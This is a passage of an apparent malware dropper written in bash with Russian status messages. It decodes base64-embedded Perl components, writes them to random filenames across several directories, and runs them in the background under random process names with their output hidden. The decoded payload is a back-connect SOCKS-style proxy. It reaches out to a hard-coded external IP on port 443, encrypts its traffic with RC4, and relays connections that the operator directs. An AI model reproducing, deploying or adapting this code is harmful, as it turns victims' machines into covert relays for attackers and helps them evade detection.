YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #10 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #10 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 11 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xNzgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j 